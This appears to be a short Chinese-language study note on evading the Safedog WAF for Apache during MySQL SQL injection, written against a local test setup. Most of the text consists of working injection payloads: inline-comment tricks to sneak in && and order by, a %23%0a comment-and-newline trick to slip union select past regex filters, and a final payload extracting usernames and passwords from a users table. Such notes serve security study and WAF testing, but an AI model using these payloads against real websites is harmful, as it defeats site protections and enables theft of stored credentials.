前言
最近没事学习一下 waf
的 bypass
, 本文介绍下 bypass
安全狗的笔记。个人感觉 bypass
的总思路(正则匹配型 waf
)就是利用各种语法特性来逃避正则(当然要保证语法正确性的前提下)
测试环境:
phpstudy + 安全狗Apache版 V4.0、
burp + hackvertor 插件
判断注入
判断字符型注入还是数字型
往数字后面加若干个字母,如果结果不变应该是字符型注入,因为 mysql
的弱类型会把 1xxxx
转换成 1
引入逻辑表达式进行判断
利用 Mysql
支持的 /*!*/
语法引入 &&
绕过过滤
1'/*!&&*/1#'
order by 获取列数
还是利用 /*!*/
语法来引入关键字, 然后利用 ()
包裹数字绕过空格进而绕过正则。
1'/*!&&*/0/*!order*/by(2)#'
所以有 2 列。
绕过 union
%23%0a
绕过正则, 原因大概是 #
是注释符号(只注释一行 \n
截止), waf
认为后面的都是注释不去匹配,而 mysql
支持使用 \n 代替空格,所以绕过了正则。
<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/1,@@HOSTNAME#'<@/urlencode_2>
拿密码
使用 %23%0a
,绕过正则
<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/user,password <@/urlencode_2>from%23%0a<@urlencode_3>users where user_id=1<@/urlencode_3>%23%27